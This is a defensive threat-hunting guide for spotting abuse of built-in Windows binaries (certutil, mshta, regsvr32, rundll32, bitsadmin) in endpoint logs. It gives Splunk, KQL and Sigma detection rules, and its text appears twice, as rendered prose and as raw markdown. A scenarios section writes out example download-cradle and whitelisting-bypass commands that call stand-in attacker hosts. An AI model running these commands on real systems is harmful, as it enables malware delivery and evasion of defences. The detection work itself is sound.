Hunting for LOLBins Execution in Endpoint Logs
When to Use
- When hunting for fileless attack techniques that abuse built-in Windows binaries
- After threat intelligence indicates LOLBin-based campaigns targeting your industry
- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
- During purple team exercises testing detection of defense evasion techniques
- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques
Detection Gaps & Validation
- 4688 lacks
OriginalFileName. Renamed-LOLBin detection (e.g., certutil.exe→update.exe) requires Sysmon EID 1 OriginalFileName/Hashes; relying on Security 4688 alone misses it. Also confirm command-line auditing is on, or the CommandLine field is blank and every keyword rule silently fails.
- Keyword/regex lists miss obfuscation: caret/quote insertion (
c^ertu^til, "certutil"), env-var expansion (%COMSPEC%), and base64 -enc defeat literal matches.
- Long-tail LOLBins absent from watchlists:
msdt.exe, desktopimgdownldr.exe, finger.exe, forfiles.exe, mavinject.exe (T1218 sub-techniques).
- Validate the hunt fires: run
certutil -urlcache -split -f http://<lab>/x.txt and regsvr32 /s /n /u /i:http://<lab>/x.sct scrobj.dll (Atomic T1218.010); confirm the Splunk/Sigma rule alerts and Sysmon EID 3 correlates the outbound connection.
- FP tuning: legitimate admin/installer use of these binaries — baseline by parent process, signer, execution path, and frequency before alerting.
Prerequisites
- Sysmon Event ID 1 (Process Creation) with full command-line logging
- Windows Security Event ID 4688 with command-line auditing enabled
- EDR telemetry with parent-child process relationships
- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns
Workflow
- Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
- Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
- Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with
-urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with /s /n /u /i:URL.
- Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
- Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
- Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
- Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.
Key Concepts
| Concept |
Description |
| T1218 |
System Binary Proxy Execution |
| T1218.001 |
Compiled HTML File (mshta.exe) |
| T1218.003 |
CMSTP |
| T1218.005 |
Mshta |
| T1218.010 |
Regsvr32 (Squiblydoo) |
| T1218.011 |
Rundll32 |
| T1127.001 |
MSBuild |
| T1197 |
BITS Jobs (bitsadmin.exe) |
| T1140 |
Deobfuscate/Decode Files (certutil.exe) |
| T1059.001 |
PowerShell |
| T1059.005 |
Visual Basic (wscript/cscript) |
| LOLBAS |
Living Off the Land Binaries, Scripts and Libraries project |
Tools & Systems
| Tool |
Purpose |
| Sysmon |
Process creation with command-line and hash logging |
| CrowdStrike Falcon |
EDR with LOLBin detection analytics |
| Microsoft Defender for Endpoint |
Built-in LOLBin abuse detection |
| Splunk |
SPL-based process hunting and anomaly detection |
| Elastic Security |
Pre-built LOLBin detection rules |
| LOLBAS Project |
Reference database of LOLBin abuse techniques |
| Sigma Rules |
Community detection rules for LOLBin abuse |
Detection Queries
Splunk -- High-Risk LOLBin Execution
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious
KQL -- Microsoft Sentinel LOLBin Hunting
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Sigma Rule -- Suspicious LOLBin Command Line
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
- '-encode'
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http://'
- 'https://'
- 'javascript:'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- '/s'
- '/i:'
condition: 1 of selection_*
level: high
tags:
- attack.defense_evasion
- attack.t1218
Common Scenarios
- Certutil Download Cradle:
certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe used to download malware bypassing proxy filters.
- Mshta HTA Execution:
mshta.exe http://attacker.com/malicious.hta executing remote HTA files containing VBScript or JScript payloads.
- Regsvr32 Squiblydoo:
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll executing remote SCT files to bypass application whitelisting.
- Rundll32 DLL Proxy:
rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint executing attacker DLLs via legitimate binary.
- MSBuild Inline Task:
msbuild.exe C:\Temp\malicious.csproj executing C# code embedded in project files to bypass application control.
- BITS Transfer:
bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe using BITS service for stealthy file download.
- WMIC XSL Execution:
wmic process list /format:evil.xsl executing JScript/VBScript from XSL stylesheets.
Output Format
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]
1---2name: hunting-for-lolbins-execution-in-endpoint-logs3description: Hunt for adversary abuse of Living Off the Land Binaries (LOLBins) by analyzing endpoint process creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes.4license: Apache-2.05---67# Hunting for LOLBins Execution in Endpoint Logs89## When to Use1011- When hunting for fileless attack techniques that abuse built-in Windows binaries12- After threat intelligence indicates LOLBin-based campaigns targeting your industry13- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr3214- During purple team exercises testing detection of defense evasion techniques15- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques1617## Detection Gaps & Validation1819- **4688 lacks `OriginalFileName`.** Renamed-LOLBin detection (e.g., `certutil.exe`→`update.exe`) requires Sysmon EID 1 `OriginalFileName`/`Hashes`; relying on Security 4688 alone misses it. Also confirm command-line auditing is on, or the `CommandLine` field is blank and every keyword rule silently fails.20- **Keyword/regex lists miss obfuscation:** caret/quote insertion (`c^ertu^til`, `"certutil"`), env-var expansion (`%COMSPEC%`), and base64 `-enc` defeat literal matches.21- **Long-tail LOLBins absent from watchlists:** `msdt.exe`, `desktopimgdownldr.exe`, `finger.exe`, `forfiles.exe`, `mavinject.exe` (T1218 sub-techniques).22- **Validate the hunt fires:** run `certutil -urlcache -split -f http://<lab>/x.txt` and `regsvr32 /s /n /u /i:http://<lab>/x.sct scrobj.dll` (Atomic T1218.010); confirm the Splunk/Sigma rule alerts and Sysmon EID 3 correlates the outbound connection.23- **FP tuning:** legitimate admin/installer use of these binaries — baseline by parent process, signer, execution path, and frequency before alerting.2425## Prerequisites2627- Sysmon Event ID 1 (Process Creation) with full command-line logging28- Windows Security Event ID 4688 with command-line auditing enabled29- EDR telemetry with parent-child process relationships30- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)31- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns3233## Workflow34351. **Build LOLBin Watchlist**: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.362. **Baseline Normal Usage**: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.373. **Hunt for Anomalous Arguments**: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with `-urlcache -decode -encode`, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with `/s /n /u /i:URL`.384. **Analyze Parent-Child Relationships**: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.395. **Check Execution from Unusual Paths**: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.406. **Correlate with Network Activity**: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.417. **Score and Prioritize**: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.4243## Key Concepts4445| Concept | Description |46|---------|-------------|47| T1218 | System Binary Proxy Execution |48| T1218.001 | Compiled HTML File (mshta.exe) |49| T1218.003 | CMSTP |50| T1218.005 | Mshta |51| T1218.010 | Regsvr32 (Squiblydoo) |52| T1218.011 | Rundll32 |53| T1127.001 | MSBuild |54| T1197 | BITS Jobs (bitsadmin.exe) |55| T1140 | Deobfuscate/Decode Files (certutil.exe) |56| T1059.001 | PowerShell |57| T1059.005 | Visual Basic (wscript/cscript) |58| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |5960## Tools & Systems6162| Tool | Purpose |63|------|---------|64| Sysmon | Process creation with command-line and hash logging |65| CrowdStrike Falcon | EDR with LOLBin detection analytics |66| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |67| Splunk | SPL-based process hunting and anomaly detection |68| Elastic Security | Pre-built LOLBin detection rules |69| LOLBAS Project | Reference database of LOLBin abuse techniques |70| Sigma Rules | Community detection rules for LOLBin abuse |7172## Detection Queries7374### Splunk -- High-Risk LOLBin Execution75```spl76index=sysmon EventCode=177| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")78| eval suspicious=case(79 match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",80 match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",81 match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",82 match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",83 match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",84 match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",85 match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",86 1=1, "normal"87)88| where suspicious!="normal"89| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious90```9192### KQL -- Microsoft Sentinel LOLBin Hunting93```kql94DeviceProcessEvents95| where Timestamp > ago(7d)96| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",97 "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")98| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"99| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,100 InitiatingProcessFileName, InitiatingProcessCommandLine101| sort by Timestamp desc102```103104### Sigma Rule -- Suspicious LOLBin Command Line105```yaml106title: Suspicious LOLBin Execution with Malicious Arguments107status: experimental108logsource:109 category: process_creation110 product: windows111detection:112 selection_certutil:113 Image|endswith: '\certutil.exe'114 CommandLine|contains:115 - '-urlcache'116 - '-decode'117 - '-encode'118 selection_mshta:119 Image|endswith: '\mshta.exe'120 CommandLine|contains:121 - 'http://'122 - 'https://'123 - 'javascript:'124 selection_regsvr32:125 Image|endswith: '\regsvr32.exe'126 CommandLine|contains|all:127 - '/s'128 - '/i:'129 condition: 1 of selection_*130level: high131tags:132 - attack.defense_evasion133 - attack.t1218134```135136## Common Scenarios1371381. **Certutil Download Cradle**: `certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe` used to download malware bypassing proxy filters.1392. **Mshta HTA Execution**: `mshta.exe http://attacker.com/malicious.hta` executing remote HTA files containing VBScript or JScript payloads.1403. **Regsvr32 Squiblydoo**: `regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll` executing remote SCT files to bypass application whitelisting.1414. **Rundll32 DLL Proxy**: `rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint` executing attacker DLLs via legitimate binary.1425. **MSBuild Inline Task**: `msbuild.exe C:\Temp\malicious.csproj` executing C# code embedded in project files to bypass application control.1436. **BITS Transfer**: `bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe` using BITS service for stealthy file download.1447. **WMIC XSL Execution**: `wmic process list /format:evil.xsl` executing JScript/VBScript from XSL stylesheets.145146## Output Format147148```149Hunt ID: TH-LOLBIN-[DATE]-[SEQ]150Host: [Hostname]151User: [Account context]152LOLBin: [Binary name]153Full Path: [Execution path]154Command Line: [Full arguments]155Parent Process: [Parent image and command line]156Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]157Network Activity: [Yes/No -- destination if applicable]158Risk Level: [Critical/High/Medium/Low]159```